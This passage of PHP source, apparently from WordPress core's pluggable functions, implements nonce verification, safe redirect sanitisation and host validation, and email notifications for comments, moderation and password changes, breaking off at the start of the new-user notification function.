	 *                   2 if the nonce is valid and generated between 12-24 hours ago.
	 *                   False if the nonce is invalid.
	 */
	function check_admin_referer( $action = -1, $query_arg = '_wpnonce' ) {
		if ( -1 === $action ) {
			_doing_it_wrong( __FUNCTION__, __( 'You should specify an action to be verified by using the first parameter.' ), '3.2.0' );
		}

		$adminurl = strtolower( admin_url() );
		$referer  = strtolower( wp_get_referer() );
		$result   = isset( $_REQUEST[ $query_arg ] ) ? wp_verify_nonce( $_REQUEST[ $query_arg ], $action ) : false;

		/**
		 * Fires once the admin request has been validated or not.
		 *
		 * @since 1.5.1
		 *
		 * @param string    $action The nonce action.
		 * @param false|int $result False if the nonce is invalid, 1 if the nonce is valid and generated between
		 *                          0-12 hours ago, 2 if the nonce is valid and generated between 12-24 hours ago.
		 */
		do_action( 'check_admin_referer', $action, $result );

		if ( ! $result && ! ( -1 === $action && str_starts_with( $referer, $adminurl ) ) ) {
			wp_nonce_ays( $action );
			die();
		}

		return $result;
	}
endif;

if ( ! function_exists( 'check_ajax_referer' ) ) :
	/**
	 * Verifies the Ajax request to prevent processing requests external of the blog.
	 *
	 * @since 2.0.3
	 *
	 * @param int|string   $action    Action nonce.
	 * @param false|string $query_arg Optional. Key to check for the nonce in `$_REQUEST` (since 2.5). If false,
	 *                                `$_REQUEST` values will be evaluated for '_ajax_nonce', and '_wpnonce'
	 *                                (in that order). Default false.
	 * @param bool         $stop      Optional. Whether to stop early when the nonce cannot be verified.
	 *                                Default true.
	 * @return int|false 1 if the nonce is valid and generated between 0-12 hours ago,
	 *                   2 if the nonce is valid and generated between 12-24 hours ago.
	 *                   False if the nonce is invalid.
	 */
	function check_ajax_referer( $action = -1, $query_arg = false, $stop = true ) {
		if ( -1 == $action ) {
			_doing_it_wrong( __FUNCTION__, __( 'You should specify an action to be verified by using the first parameter.' ), '4.7.0' );
		}

		$nonce = '';

		if ( $query_arg && isset( $_REQUEST[ $query_arg ] ) ) {
			$nonce = $_REQUEST[ $query_arg ];
		} elseif ( isset( $_REQUEST['_ajax_nonce'] ) ) {
			$nonce = $_REQUEST['_ajax_nonce'];
		} elseif ( isset( $_REQUEST['_wpnonce'] ) ) {
			$nonce = $_REQUEST['_wpnonce'];
		}

		$result = wp_verify_nonce( $nonce, $action );

		/**
		 * Fires once the Ajax request has been validated or not.
		 *
		 * @since 2.1.0
		 *
		 * @param string    $action The Ajax nonce action.
		 * @param false|int $result False if the nonce is invalid, 1 if the nonce is valid and generated between
		 *                          0-12 hours ago, 2 if the nonce is valid and generated between 12-24 hours ago.
		 */
		do_action( 'check_ajax_referer', $action, $result );

		if ( $stop && false === $result ) {
			if ( wp_doing_ajax() ) {
				wp_die( -1, 403 );
			} else {
				die( '-1' );
			}
		}

		return $result;
	}
endif;

if ( ! function_exists( 'wp_redirect' ) ) :
	/**
	 * Redirects to another page.
	 *
	 * Note: wp_redirect() does not exit automatically, and should almost always be
	 * followed by a call to `exit;`:
	 *
	 *     wp_redirect( $url );
	 *     exit;
	 *
	 * Exiting can also be selectively manipulated by using wp_redirect() as a conditional
	 * in conjunction with the {@see 'wp_redirect'} and {@see 'wp_redirect_status'} filters:
	 *
	 *     if ( wp_redirect( $url ) ) {
	 *         exit;
	 *     }
	 *
	 * @since 1.5.1
	 * @since 5.1.0 The `$x_redirect_by` parameter was added.
	 * @since 5.4.0 On invalid status codes, wp_die() is called.
	 *
	 * @global bool $is_IIS
	 *
	 * @param string       $location      The path or URL to redirect to.
	 * @param int          $status        Optional. HTTP response status code to use. Default '302' (Moved Temporarily).
	 * @param string|false $x_redirect_by Optional. The application doing the redirect or false to omit. Default 'WordPress'.
	 * @return bool False if the redirect was canceled, true otherwise.
	 */
	function wp_redirect( $location, $status = 302, $x_redirect_by = 'WordPress' ) {
		global $is_IIS;

		/**
		 * Filters the redirect location.
		 *
		 * @since 2.1.0
		 *
		 * @param string $location The path or URL to redirect to.
		 * @param int    $status   The HTTP response status code to use.
		 */
		$location = apply_filters( 'wp_redirect', $location, $status );

		/**
		 * Filters the redirect HTTP response status code to use.
		 *
		 * @since 2.3.0
		 *
		 * @param int    $status   The HTTP response status code to use.
		 * @param string $location The path or URL to redirect to.
		 */
		$status = apply_filters( 'wp_redirect_status', $status, $location );

		if ( ! $location ) {
			return false;
		}

		if ( $status < 300 || 399 < $status ) {
			wp_die( __( 'HTTP redirect status code must be a redirection code, 3xx.' ) );
		}

		$location = wp_sanitize_redirect( $location );

		if ( ! $is_IIS && 'cgi-fcgi' !== PHP_SAPI ) {
			status_header( $status ); // This causes problems on IIS and some FastCGI setups.
		}

		/**
		 * Filters the X-Redirect-By header.
		 *
		 * Allows applications to identify themselves when they're doing a redirect.
		 *
		 * @since 5.1.0
		 *
		 * @param string|false $x_redirect_by The application doing the redirect or false to omit the header.
		 * @param int          $status        Status code to use.
		 * @param string       $location      The path to redirect to.
		 */
		$x_redirect_by = apply_filters( 'x_redirect_by', $x_redirect_by, $status, $location );
		if ( is_string( $x_redirect_by ) ) {
			header( "X-Redirect-By: $x_redirect_by" );
		}

		header( "Location: $location", true, $status );

		return true;
	}
endif;

if ( ! function_exists( 'wp_sanitize_redirect' ) ) :
	/**
	 * Sanitizes a URL for use in a redirect.
	 *
	 * @since 2.3.0
	 *
	 * @param string $location The path to redirect to.
	 * @return string Redirect-sanitized URL.
	 */
	function wp_sanitize_redirect( $location ) {
		// Encode spaces.
		$location = str_replace( ' ', '%20', $location );

		$regex    = '/
		(
			(?: [\xC2-\xDF][\x80-\xBF]        # double-byte sequences   110xxxxx 10xxxxxx
			|   \xE0[\xA0-\xBF][\x80-\xBF]    # triple-byte sequences   1110xxxx 10xxxxxx * 2
			|   [\xE1-\xEC][\x80-\xBF]{2}
			|   \xED[\x80-\x9F][\x80-\xBF]
			|   [\xEE-\xEF][\x80-\xBF]{2}
			|   \xF0[\x90-\xBF][\x80-\xBF]{2} # four-byte sequences   11110xxx 10xxxxxx * 3
			|   [\xF1-\xF3][\x80-\xBF]{3}
			|   \xF4[\x80-\x8F][\x80-\xBF]{2}
		){1,40}                              # ...one or more times
		)/x';
		$location = preg_replace_callback( $regex, '_wp_sanitize_utf8_in_redirect', $location );
		$location = preg_replace( '|[^a-z0-9-~+_.?#=&;,/:%!*\[\]()@]|i', '', $location );
		$location = wp_kses_no_null( $location );

		// Remove %0D and %0A from location.
		$strip = array( '%0d', '%0a', '%0D', '%0A' );
		return _deep_replace( $strip, $location );
	}

	/**
	 * URL encodes UTF-8 characters in a URL.
	 *
	 * @ignore
	 * @since 4.2.0
	 * @access private
	 *
	 * @see wp_sanitize_redirect()
	 *
	 * @param array $matches RegEx matches against the redirect location.
	 * @return string URL-encoded version of the first RegEx match.
	 */
	function _wp_sanitize_utf8_in_redirect( $matches ) {
		return urlencode( $matches[0] );
	}
endif;

if ( ! function_exists( 'wp_safe_redirect' ) ) :
	/**
	 * Performs a safe (local) redirect, using wp_redirect().
	 *
	 * Checks whether the $location is using an allowed host, if it has an absolute
	 * path. A plugin can therefore set or remove allowed host(s) to or from the
	 * list.
	 *
	 * If the host is not allowed, then the redirect defaults to wp-admin on the siteurl
	 * instead. This prevents malicious redirects which redirect to another host,
	 * but only used in a few places.
	 *
	 * Note: wp_safe_redirect() does not exit automatically, and should almost always be
	 * followed by a call to `exit;`:
	 *
	 *     wp_safe_redirect( $url );
	 *     exit;
	 *
	 * Exiting can also be selectively manipulated by using wp_safe_redirect() as a conditional
	 * in conjunction with the {@see 'wp_redirect'} and {@see 'wp_redirect_status'} filters:
	 *
	 *     if ( wp_safe_redirect( $url ) ) {
	 *         exit;
	 *     }
	 *
	 * @since 2.3.0
	 * @since 5.1.0 The return value from wp_redirect() is now passed on, and the `$x_redirect_by` parameter was added.
	 *
	 * @param string       $location      The path or URL to redirect to.
	 * @param int          $status        Optional. HTTP response status code to use. Default '302' (Moved Temporarily).
	 * @param string|false $x_redirect_by Optional. The application doing the redirect or false to omit. Default 'WordPress'.
	 * @return bool False if the redirect was canceled, true otherwise.
	 */
	function wp_safe_redirect( $location, $status = 302, $x_redirect_by = 'WordPress' ) {

		// Need to look at the URL the way it will end up in wp_redirect().
		$location = wp_sanitize_redirect( $location );

		/**
		 * Filters the redirect fallback URL for when the provided redirect is not safe (local).
		 *
		 * @since 4.3.0
		 *
		 * @param string $fallback_url The fallback URL to use by default.
		 * @param int    $status       The HTTP response status code to use.
		 */
		$fallback_url = apply_filters( 'wp_safe_redirect_fallback', admin_url(), $status );

		$location = wp_validate_redirect( $location, $fallback_url );

		return wp_redirect( $location, $status, $x_redirect_by );
	}
endif;

if ( ! function_exists( 'wp_validate_redirect' ) ) :
	/**
	 * Validates a URL for use in a redirect.
	 *
	 * Checks whether the $location is using an allowed host, if it has an absolute
	 * path. A plugin can therefore set or remove allowed host(s) to or from the
	 * list.
	 *
	 * If the host is not allowed, then the redirect is to $fallback_url supplied.
	 *
	 * @since 2.8.1
	 *
	 * @param string $location     The redirect to validate.
	 * @param string $fallback_url The value to return if $location is not allowed.
	 * @return string Redirect-sanitized URL.
	 */
	function wp_validate_redirect( $location, $fallback_url = '' ) {
		$location = wp_sanitize_redirect( trim( $location, " \t\n\r\0\x08\x0B" ) );
		// Browsers will assume 'http' is your protocol, and will obey a redirect to a URL starting with '//'.
		if ( str_starts_with( $location, '//' ) ) {
			$location = 'http:' . $location;
		}

		/*
		 * In PHP 5 parse_url() may fail if the URL query part contains 'http://'.
		 * See https://bugs.php.net/bug.php?id=38143
		 */
		$cut  = strpos( $location, '?' );
		$test = $cut ? substr( $location, 0, $cut ) : $location;

		$lp = parse_url( $test );

		// Give up if malformed URL.
		if ( false === $lp ) {
			return $fallback_url;
		}

		// Allow only 'http' and 'https' schemes. No 'data:', etc.
		if ( isset( $lp['scheme'] ) && ! ( 'http' === $lp['scheme'] || 'https' === $lp['scheme'] ) ) {
			return $fallback_url;
		}

		if ( ! isset( $lp['host'] ) && ! empty( $lp['path'] ) && '/' !== $lp['path'][0] ) {
			$path = '';
			if ( ! empty( $_SERVER['REQUEST_URI'] ) ) {
				$path = dirname( parse_url( 'http://placeholder' . $_SERVER['REQUEST_URI'], PHP_URL_PATH ) . '?' );
				$path = wp_normalize_path( $path );
			}
			$location = '/' . ltrim( $path . '/', '/' ) . $location;
		}

		/*
		 * Reject if certain components are set but host is not.
		 * This catches URLs like https:host.com for which parse_url() does not set the host field.
		 */
		if ( ! isset( $lp['host'] ) && ( isset( $lp['scheme'] ) || isset( $lp['user'] ) || isset( $lp['pass'] ) || isset( $lp['port'] ) ) ) {
			return $fallback_url;
		}

		// Reject malformed components parse_url() can return on odd inputs.
		foreach ( array( 'user', 'pass', 'host' ) as $component ) {
			if ( isset( $lp[ $component ] ) && strpbrk( $lp[ $component ], ':/?#@' ) ) {
				return $fallback_url;
			}
		}

		$wpp = parse_url( home_url() );

		/**
		 * Filters the list of allowed hosts to redirect to.
		 *
		 * @since 2.3.0
		 *
		 * @param string[] $hosts An array of allowed host names.
		 * @param string   $host  The host name of the redirect destination; empty string if not set.
		 */
		$allowed_hosts = (array) apply_filters( 'allowed_redirect_hosts', array( $wpp['host'] ), isset( $lp['host'] ) ? $lp['host'] : '' );

		if ( isset( $lp['host'] ) && ( ! in_array( $lp['host'], $allowed_hosts, true ) && strtolower( $wpp['host'] ) !== $lp['host'] ) ) {
			$location = $fallback_url;
		}

		return $location;
	}
endif;

if ( ! function_exists( 'wp_notify_postauthor' ) ) :
	/**
	 * Notifies an author (and/or others) of a comment/trackback/pingback on a post.
	 *
	 * @since 1.0.0
	 *
	 * @param int|WP_Comment $comment_id Comment ID or WP_Comment object.
	 * @param string         $deprecated Not used.
	 * @return bool True on completion. False if no email addresses were specified.
	 */
	function wp_notify_postauthor( $comment_id, $deprecated = null ) {
		if ( null !== $deprecated ) {
			_deprecated_argument( __FUNCTION__, '3.8.0' );
		}

		$comment = get_comment( $comment_id );
		if ( empty( $comment ) || empty( $comment->comment_post_ID ) ) {
			return false;
		}

		$post   = get_post( $comment->comment_post_ID );
		$author = get_userdata( $post->post_author );

		// Who to notify? By default, just the post author, but others can be added.
		$emails = array();
		if ( $author ) {
			$emails[] = $author->user_email;
		}

		/**
		 * Filters the list of email addresses to receive a comment notification.
		 *
		 * By default, only post authors are notified of comments. This filter allows
		 * others to be added.
		 *
		 * @since 3.7.0
		 *
		 * @param string[] $emails     An array of email addresses to receive a comment notification.
		 * @param string   $comment_id The comment ID as a numeric string.
		 */
		$emails = apply_filters( 'comment_notification_recipients', $emails, $comment->comment_ID );
		$emails = array_filter( $emails );

		// If there are no addresses to send the comment to, bail.
		if ( ! count( $emails ) ) {
			return false;
		}

		// Facilitate unsetting below without knowing the keys.
		$emails = array_flip( $emails );

		/**
		 * Filters whether to notify comment authors of their comments on their own posts.
		 *
		 * By default, comment authors aren't notified of their comments on their own
		 * posts. This filter allows you to override that.
		 *
		 * @since 3.8.0
		 *
		 * @param bool   $notify     Whether to notify the post author of their own comment.
		 *                           Default false.
		 * @param string $comment_id The comment ID as a numeric string.
		 */
		$notify_author = apply_filters( 'comment_notification_notify_author', false, $comment->comment_ID );

		// The comment was left by the author.
		if ( $author && ! $notify_author && $comment->user_id == $post->post_author ) {
			unset( $emails[ $author->user_email ] );
		}

		// The author moderated a comment on their own post.
		if ( $author && ! $notify_author && get_current_user_id() == $post->post_author ) {
			unset( $emails[ $author->user_email ] );
		}

		// The post author is no longer a member of the blog.
		if ( $author && ! $notify_author && ! user_can( $post->post_author, 'read_post', $post->ID ) ) {
			unset( $emails[ $author->user_email ] );
		}

		// If there's no email to send the comment to, bail, otherwise flip array back around for use below.
		if ( ! count( $emails ) ) {
			return false;
		} else {
			$emails = array_flip( $emails );
		}

		$switched_locale = switch_to_locale( get_locale() );

		$comment_author_domain = '';
		if ( WP_Http::is_ip_address( $comment->comment_author_IP ) ) {
			$comment_author_domain = gethostbyaddr( $comment->comment_author_IP );
		}

		/*
		 * The blogname option is escaped with esc_html() on the way into the database in sanitize_option().
		 * We want to reverse this for the plain text arena of emails.
		 */
		$blogname        = wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES );
		$comment_content = wp_specialchars_decode( $comment->comment_content );

		switch ( $comment->comment_type ) {
			case 'trackback':
				/* translators: %s: Post title. */
				$notify_message = sprintf( __( 'New trackback on your post "%s"' ), $post->post_title ) . "\r\n";
				/* translators: 1: Trackback/pingback website name, 2: Website IP address, 3: Website hostname. */
				$notify_message .= sprintf( __( 'Website: %1$s (IP address: %2$s, %3$s)' ), $comment->comment_author, $comment->comment_author_IP, $comment_author_domain ) . "\r\n";
				/* translators: %s: Trackback/pingback/comment author URL. */
				$notify_message .= sprintf( __( 'URL: %s' ), $comment->comment_author_url ) . "\r\n";
				/* translators: %s: Comment text. */
				$notify_message .= sprintf( __( 'Comment: %s' ), "\r\n" . $comment_content ) . "\r\n\r\n";
				$notify_message .= __( 'You can see all trackbacks on this post here:' ) . "\r\n";
				/* translators: Trackback notification email subject. 1: Site title, 2: Post title. */
				$subject = sprintf( __( '[%1$s] Trackback: "%2$s"' ), $blogname, $post->post_title );
				break;

			case 'pingback':
				/* translators: %s: Post title. */
				$notify_message = sprintf( __( 'New pingback on your post "%s"' ), $post->post_title ) . "\r\n";
				/* translators: 1: Trackback/pingback website name, 2: Website IP address, 3: Website hostname. */
				$notify_message .= sprintf( __( 'Website: %1$s (IP address: %2$s, %3$s)' ), $comment->comment_author, $comment->comment_author_IP, $comment_author_domain ) . "\r\n";
				/* translators: %s: Trackback/pingback/comment author URL. */
				$notify_message .= sprintf( __( 'URL: %s' ), $comment->comment_author_url ) . "\r\n";
				/* translators: %s: Comment text. */
				$notify_message .= sprintf( __( 'Comment: %s' ), "\r\n" . $comment_content ) . "\r\n\r\n";
				$notify_message .= __( 'You can see all pingbacks on this post here:' ) . "\r\n";
				/* translators: Pingback notification email subject. 1: Site title, 2: Post title. */
				$subject = sprintf( __( '[%1$s] Pingback: "%2$s"' ), $blogname, $post->post_title );
				break;

			default: // Comments.
				/* translators: %s: Post title. */
				$notify_message = sprintf( __( 'New comment on your post "%s"' ), $post->post_title ) . "\r\n";
				/* translators: 1: Comment author's name, 2: Comment author's IP address, 3: Comment author's hostname. */
				$notify_message .= sprintf( __( 'Author: %1$s (IP address: %2$s, %3$s)' ), $comment->comment_author, $comment->comment_author_IP, $comment_author_domain ) . "\r\n";
				/* translators: %s: Comment author email. */
				$notify_message .= sprintf( __( 'Email: %s' ), $comment->comment_author_email ) . "\r\n";
				/* translators: %s: Trackback/pingback/comment author URL. */
				$notify_message .= sprintf( __( 'URL: %s' ), $comment->comment_author_url ) . "\r\n";

				if ( $comment->comment_parent && user_can( $post->post_author, 'edit_comment', $comment->comment_parent ) ) {
					/* translators: Comment moderation. %s: Parent comment edit URL. */
					$notify_message .= sprintf( __( 'In reply to: %s' ), admin_url( "comment.php?action=editcomment&c={$comment->comment_parent}#wpbody-content" ) ) . "\r\n";
				}

				/* translators: %s: Comment text. */
				$notify_message .= sprintf( __( 'Comment: %s' ), "\r\n" . $comment_content ) . "\r\n\r\n";
				$notify_message .= __( 'You can see all comments on this post here:' ) . "\r\n";
				/* translators: Comment notification email subject. 1: Site title, 2: Post title. */
				$subject = sprintf( __( '[%1$s] Comment: "%2$s"' ), $blogname, $post->post_title );
				break;
		}

		$notify_message .= get_permalink( $comment->comment_post_ID ) . "#comments\r\n\r\n";
		/* translators: %s: Comment URL. */
		$notify_message .= sprintf( __( 'Permalink: %s' ), get_comment_link( $comment ) ) . "\r\n";

		if ( user_can( $post->post_author, 'edit_comment', $comment->comment_ID ) ) {
			if ( EMPTY_TRASH_DAYS ) {
				/* translators: Comment moderation. %s: Comment action URL. */
				$notify_message .= sprintf( __( 'Trash it: %s' ), admin_url( "comment.php?action=trash&c={$comment->comment_ID}#wpbody-content" ) ) . "\r\n";
			} else {
				/* translators: Comment moderation. %s: Comment action URL. */
				$notify_message .= sprintf( __( 'Delete it: %s' ), admin_url( "comment.php?action=delete&c={$comment->comment_ID}#wpbody-content" ) ) . "\r\n";
			}
			/* translators: Comment moderation. %s: Comment action URL. */
			$notify_message .= sprintf( __( 'Spam it: %s' ), admin_url( "comment.php?action=spam&c={$comment->comment_ID}#wpbody-content" ) ) . "\r\n";
		}

		$wp_email = 'wordpress@' . preg_replace( '#^www\.#', '', wp_parse_url( network_home_url(), PHP_URL_HOST ) );

		if ( '' === $comment->comment_author ) {
			$from = "From: \"$blogname\" <$wp_email>";
			if ( '' !== $comment->comment_author_email ) {
				$reply_to = "Reply-To: $comment->comment_author_email";
			}
		} else {
			$from = "From: \"$comment->comment_author\" <$wp_email>";
			if ( '' !== $comment->comment_author_email ) {
				$reply_to = "Reply-To: \"$comment->comment_author_email\" <$comment->comment_author_email>";
			}
		}

		$message_headers = "$from\n"
		. 'Content-Type: text/plain; charset="' . get_option( 'blog_charset' ) . "\"\n";

		if ( isset( $reply_to ) ) {
			$message_headers .= $reply_to . "\n";
		}

		/**
		 * Filters the comment notification email text.
		 *
		 * @since 1.5.2
		 *
		 * @param string $notify_message The comment notification email text.
		 * @param string $comment_id     Comment ID as a numeric string.
		 */
		$notify_message = apply_filters( 'comment_notification_text', $notify_message, $comment->comment_ID );

		/**
		 * Filters the comment notification email subject.
		 *
		 * @since 1.5.2
		 *
		 * @param string $subject    The comment notification email subject.
		 * @param string $comment_id Comment ID as a numeric string.
		 */
		$subject = apply_filters( 'comment_notification_subject', $subject, $comment->comment_ID );

		/**
		 * Filters the comment notification email headers.
		 *
		 * @since 1.5.2
		 *
		 * @param string $message_headers Headers for the comment notification email.
		 * @param string $comment_id      Comment ID as a numeric string.
		 */
		$message_headers = apply_filters( 'comment_notification_headers', $message_headers, $comment->comment_ID );

		foreach ( $emails as $email ) {
			wp_mail( $email, wp_specialchars_decode( $subject ), $notify_message, $message_headers );
		}

		if ( $switched_locale ) {
			restore_previous_locale();
		}

		return true;
	}
endif;

if ( ! function_exists( 'wp_notify_moderator' ) ) :
	/**
	 * Notifies the moderator of the site about a new comment that is awaiting approval.
	 *
	 * @since 1.0.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * Uses the {@see 'notify_moderator'} filter to determine whether the site moderator
	 * should be notified, overriding the site setting.
	 *
	 * @param int $comment_id Comment ID.
	 * @return true Always returns true.
	 */
	function wp_notify_moderator( $comment_id ) {
		global $wpdb;

		$maybe_notify = get_option( 'moderation_notify' );

		/**
		 * Filters whether to send the site moderator email notifications, overriding the site setting.
		 *
		 * @since 4.4.0
		 *
		 * @param bool $maybe_notify Whether to notify blog moderator.
		 * @param int  $comment_id   The ID of the comment for the notification.
		 */
		$maybe_notify = apply_filters( 'notify_moderator', $maybe_notify, $comment_id );

		if ( ! $maybe_notify ) {
			return true;
		}

		$comment = get_comment( $comment_id );
		$post    = get_post( $comment->comment_post_ID );
		$user    = get_userdata( $post->post_author );
		// Send to the administration and to the post author if the author can modify the comment.
		$emails = array( get_option( 'admin_email' ) );
		if ( $user && user_can( $user->ID, 'edit_comment', $comment_id ) && ! empty( $user->user_email ) ) {
			if ( 0 !== strcasecmp( $user->user_email, get_option( 'admin_email' ) ) ) {
				$emails[] = $user->user_email;
			}
		}

		$switched_locale = switch_to_locale( get_locale() );

		$comment_author_domain = '';
		if ( WP_Http::is_ip_address( $comment->comment_author_IP ) ) {
			$comment_author_domain = gethostbyaddr( $comment->comment_author_IP );
		}

		$comments_waiting = $wpdb->get_var( "SELECT COUNT(*) FROM $wpdb->comments WHERE comment_approved = '0'" );

		/*
		 * The blogname option is escaped with esc_html() on the way into the database in sanitize_option().
		 * We want to reverse this for the plain text arena of emails.
		 */
		$blogname        = wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES );
		$comment_content = wp_specialchars_decode( $comment->comment_content );

		switch ( $comment->comment_type ) {
			case 'trackback':
				/* translators: %s: Post title. */
				$notify_message  = sprintf( __( 'A new trackback on the post "%s" is waiting for your approval' ), $post->post_title ) . "\r\n";
				$notify_message .= get_permalink( $comment->comment_post_ID ) . "\r\n\r\n";
				/* translators: 1: Trackback/pingback website name, 2: Website IP address, 3: Website hostname. */
				$notify_message .= sprintf( __( 'Website: %1$s (IP address: %2$s, %3$s)' ), $comment->comment_author, $comment->comment_author_IP, $comment_author_domain ) . "\r\n";
				/* translators: %s: Trackback/pingback/comment author URL. */
				$notify_message .= sprintf( __( 'URL: %s' ), $comment->comment_author_url ) . "\r\n";
				$notify_message .= __( 'Trackback excerpt: ' ) . "\r\n" . $comment_content . "\r\n\r\n";
				break;

			case 'pingback':
				/* translators: %s: Post title. */
				$notify_message  = sprintf( __( 'A new pingback on the post "%s" is waiting for your approval' ), $post->post_title ) . "\r\n";
				$notify_message .= get_permalink( $comment->comment_post_ID ) . "\r\n\r\n";
				/* translators: 1: Trackback/pingback website name, 2: Website IP address, 3: Website hostname. */
				$notify_message .= sprintf( __( 'Website: %1$s (IP address: %2$s, %3$s)' ), $comment->comment_author, $comment->comment_author_IP, $comment_author_domain ) . "\r\n";
				/* translators: %s: Trackback/pingback/comment author URL. */
				$notify_message .= sprintf( __( 'URL: %s' ), $comment->comment_author_url ) . "\r\n";
				$notify_message .= __( 'Pingback excerpt: ' ) . "\r\n" . $comment_content . "\r\n\r\n";
				break;

			default: // Comments.
				/* translators: %s: Post title. */
				$notify_message  = sprintf( __( 'A new comment on the post "%s" is waiting for your approval' ), $post->post_title ) . "\r\n";
				$notify_message .= get_permalink( $comment->comment_post_ID ) . "\r\n\r\n";
				/* translators: 1: Comment author's name, 2: Comment author's IP address, 3: Comment author's hostname. */
				$notify_message .= sprintf( __( 'Author: %1$s (IP address: %2$s, %3$s)' ), $comment->comment_author, $comment->comment_author_IP, $comment_author_domain ) . "\r\n";
				/* translators: %s: Comment author email. */
				$notify_message .= sprintf( __( 'Email: %s' ), $comment->comment_author_email ) . "\r\n";
				/* translators: %s: Trackback/pingback/comment author URL. */
				$notify_message .= sprintf( __( 'URL: %s' ), $comment->comment_author_url ) . "\r\n";

				if ( $comment->comment_parent ) {
					/* translators: Comment moderation. %s: Parent comment edit URL. */
					$notify_message .= sprintf( __( 'In reply to: %s' ), admin_url( "comment.php?action=editcomment&c={$comment->comment_parent}#wpbody-content" ) ) . "\r\n";
				}

				/* translators: %s: Comment text. */
				$notify_message .= sprintf( __( 'Comment: %s' ), "\r\n" . $comment_content ) . "\r\n\r\n";
				break;
		}

		/* translators: Comment moderation. %s: Comment action URL. */
		$notify_message .= sprintf( __( 'Approve it: %s' ), admin_url( "comment.php?action=approve&c={$comment_id}#wpbody-content" ) ) . "\r\n";

		if ( EMPTY_TRASH_DAYS ) {
			/* translators: Comment moderation. %s: Comment action URL. */
			$notify_message .= sprintf( __( 'Trash it: %s' ), admin_url( "comment.php?action=trash&c={$comment_id}#wpbody-content" ) ) . "\r\n";
		} else {
			/* translators: Comment moderation. %s: Comment action URL. */
			$notify_message .= sprintf( __( 'Delete it: %s' ), admin_url( "comment.php?action=delete&c={$comment_id}#wpbody-content" ) ) . "\r\n";
		}

		/* translators: Comment moderation. %s: Comment action URL. */
		$notify_message .= sprintf( __( 'Spam it: %s' ), admin_url( "comment.php?action=spam&c={$comment_id}#wpbody-content" ) ) . "\r\n";

		$notify_message .= sprintf(
			/* translators: Comment moderation. %s: Number of comments awaiting approval. */
			_n(
				'Currently %s comment is waiting for approval. Please visit the moderation panel:',
				'Currently %s comments are waiting for approval. Please visit the moderation panel:',
				$comments_waiting
			),
			number_format_i18n( $comments_waiting )
		) . "\r\n";
		$notify_message .= admin_url( 'edit-comments.php?comment_status=moderated#wpbody-content' ) . "\r\n";

		/* translators: Comment moderation notification email subject. 1: Site title, 2: Post title. */
		$subject         = sprintf( __( '[%1$s] Please moderate: "%2$s"' ), $blogname, $post->post_title );
		$message_headers = '';

		/**
		 * Filters the list of recipients for comment moderation emails.
		 *
		 * @since 3.7.0
		 *
		 * @param string[] $emails     List of email addresses to notify for comment moderation.
		 * @param int      $comment_id Comment ID.
		 */
		$emails = apply_filters( 'comment_moderation_recipients', $emails, $comment_id );

		/**
		 * Filters the comment moderation email text.
		 *
		 * @since 1.5.2
		 *
		 * @param string $notify_message Text of the comment moderation email.
		 * @param int    $comment_id     Comment ID.
		 */
		$notify_message = apply_filters( 'comment_moderation_text', $notify_message, $comment_id );

		/**
		 * Filters the comment moderation email subject.
		 *
		 * @since 1.5.2
		 *
		 * @param string $subject    Subject of the comment moderation email.
		 * @param int    $comment_id Comment ID.
		 */
		$subject = apply_filters( 'comment_moderation_subject', $subject, $comment_id );

		/**
		 * Filters the comment moderation email headers.
		 *
		 * @since 2.8.0
		 *
		 * @param string $message_headers Headers for the comment moderation email.
		 * @param int    $comment_id      Comment ID.
		 */
		$message_headers = apply_filters( 'comment_moderation_headers', $message_headers, $comment_id );

		foreach ( $emails as $email ) {
			wp_mail( $email, wp_specialchars_decode( $subject ), $notify_message, $message_headers );
		}

		if ( $switched_locale ) {
			restore_previous_locale();
		}

		return true;
	}
endif;

if ( ! function_exists( 'wp_password_change_notification' ) ) :
	/**
	 * Notifies the blog admin of a user changing password, normally via email.
	 *
	 * @since 2.7.0
	 *
	 * @param WP_User $user User object.
	 */
	function wp_password_change_notification( $user ) {
		/*
		 * Send a copy of password change notification to the admin,
		 * but check to see if it's the admin whose password we're changing, and skip this.
		 */
		if ( 0 !== strcasecmp( $user->user_email, get_option( 'admin_email' ) ) ) {
			/* translators: %s: User name. */
			$message = sprintf( __( 'Password changed for user: %s' ), $user->user_login ) . "\r\n";
			/*
			 * The blogname option is escaped with esc_html() on the way into the database in sanitize_option().
			 * We want to reverse this for the plain text arena of emails.
			 */
			$blogname = wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES );

			$wp_password_change_notification_email = array(
				'to'      => get_option( 'admin_email' ),
				/* translators: Password change notification email subject. %s: Site title. */
				'subject' => __( '[%s] Password Changed' ),
				'message' => $message,
				'headers' => '',
			);

			/**
			 * Filters the contents of the password change notification email sent to the site admin.
			 *
			 * @since 4.9.0
			 *
			 * @param array   $wp_password_change_notification_email {
			 *     Used to build wp_mail().
			 *
			 *     @type string $to      The intended recipient - site admin email address.
			 *     @type string $subject The subject of the email.
			 *     @type string $message The body of the email.
			 *     @type string $headers The headers of the email.
			 * }
			 * @param WP_User $user     User object for user whose password was changed.
			 * @param string  $blogname The site title.
			 */
			$wp_password_change_notification_email = apply_filters( 'wp_password_change_notification_email', $wp_password_change_notification_email, $user, $blogname );

			wp_mail(
				$wp_password_change_notification_email['to'],
				wp_specialchars_decode( sprintf( $wp_password_change_notification_email['subject'], $blogname ) ),
				$wp_password_change_notification_email['message'],
				$wp_password_change_notification_email['headers']
			);
		}
	}
endif;

if ( ! function_exists( 'wp_new_user_notification' ) ) :
	/**
	 * Emails login credentials to a newly-registered user.
	 *
	 * A new user registration notification is also sent to admin email.
	 *
	 * @since 2.0.0
	 * @since 4.3.0 The `$plaintext_pass` parameter was changed to `$notify`.
	 * @since 4.3.1 The `$plaintext_pass` parameter was deprecated. `$notify` added as a third parameter.
	 * @since 4.6.0 The `$notify` parameter accepts 'user' for sending notification only to the user created.
	 *
	 * @param int    $user_id    User ID.
	 * @param null   $deprecated Not used (argument deprecated).
	 * @param string $notify     Optional. Type of notification that should happen. Accepts 'admin' or an empty
	 *                           string (admin only), 'user', or 'both' (admin and user). Default empty.
	 */
	function wp_new_user_notification( $user_id, $deprecated = null, $notify = '' ) {
		if ( null !== $deprecated ) {
			_deprecated_argument( __FUNCTION__, '4.3.1' );
		}

		// Accepts only 'user', 'admin' , 'both' or default '' as $notify.
		if ( ! in_array( $notify, array( 'user', 'admin', 'both', '' ), true ) ) {
			return;
		}

		$user = get_userdata( $user_id );

		/*
